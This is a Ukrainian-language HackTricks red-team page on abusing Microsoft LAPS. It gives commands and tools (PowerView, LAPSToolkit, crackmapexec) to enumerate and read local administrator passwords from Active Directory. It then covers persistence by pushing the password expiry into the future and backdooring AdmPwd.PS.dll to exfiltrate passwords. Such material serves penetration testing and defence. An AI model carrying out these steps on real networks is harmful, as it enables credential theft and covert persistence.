LAPS

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Базова інформація

Local Administrator Password Solution (LAPS) - це інструмент, який використовується для управління системою, де паролі адміністратора, які є унікальними, випадковими та часто змінюються, застосовуються до комп'ютерів, приєднаних до домену. Ці паролі зберігаються безпечно в Active Directory і доступні лише користувачам, які отримали дозвіл через списки керування доступом (ACL). Безпеку передачі паролю від клієнта до сервера забезпечується за допомогою Kerberos версії 5 та Advanced Encryption Standard (AES).

У об'єктах комп'ютерів домену реалізація LAPS призводить до додавання двох нових атрибутів: ms-mcs-AdmPwd та ms-mcs-AdmPwdExpirationTime. Ці атрибути зберігають пароль адміністратора у відкритому вигляді та час його закінчення, відповідно.

Перевірити, чи активовано

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname

Доступ до паролю LAPS

Ви можете завантажити оброблену політику LAPS з \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol та потім використовувати Parse-PolFile з пакету GPRegistryPolicyParser, щоб перетворити цей файл у зручний для читання формат.

Крім того, якщо на машині, до якої ми маємо доступ, встановлені нативні командлети PowerShell LAPS, то їх можна використовувати:

Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS

# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl

# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

PowerView також може бути використаний для визначення хто може читати пароль і читати його:

# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd

LAPSToolkit

LAPSToolkit сприяє переліку LAPS це з декількома функціями. Одна з них - розбір ExtendedRights для всіх комп'ютерів з увімкненим LAPS. Це покаже групи, які спеціально делеговані для читання паролів LAPS, які часто є користувачами у захищених групах. Обліковий запис, який приєднав комп'ютер до домену, отримує All Extended Rights над тим хостом, і це право дає обліковому запису можливість читати паролі. Перелік може показати обліковий запис користувача, який може читати пароль LAPS на хості. Це може допомогти нам цільово визначити конкретних користувачів AD, які можуть читати паролі LAPS.

# Get groups that can read passwords
Find-LAPSDelegatedGroups

OrgUnit                                           Delegated Groups
-------                                           ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin

# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName                Identity                    Reason
------------                --------                    ------
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated

# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName                Password       Expiration
------------                --------       ----------
DC01.DOMAIN_NAME.LOCAL      j&gR+A(s976Rf% 12/10/2022 13:24:41

Витягання паролів LAPS за допомогою Crackmapexec

Якщо немає доступу до powershell, ви можете зловживати цим привілеєм віддалено через LDAP, використовуючи

crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps

Це виведе всі паролі, які користувач може прочитати, дозволяючи вам отримати кращу опору з іншим користувачем.

LAPS Постійність

Дата закінчення терміну дії

Після отримання прав адміністратора можливо отримати паролі та запобігти машині оновлювати свій пароль, встановивши дату закінчення терміну дії у майбутнє.

# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime

# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

Пароль все ще скинеся, якщо адміністратор використовує команду Reset-AdmPwdPassword; або якщо включено Не дозволяти тривалість пароля довше, ніж вимагається політикою в LAPS GPO.

Задній хід

Оригінальний вихідний код для LAPS можна знайти тут, тому можна вставити задній хід у код (в метод Get-AdmPwdPassword в Main/AdmPwd.PS/Main.cs, наприклад), який якось ексфільтрує нові паролі або зберігає їх десь.

Потім просто скомпілюйте новий AdmPwd.PS.dll і завантажте його на машину в C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll (і змініть час модифікації).

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Last updated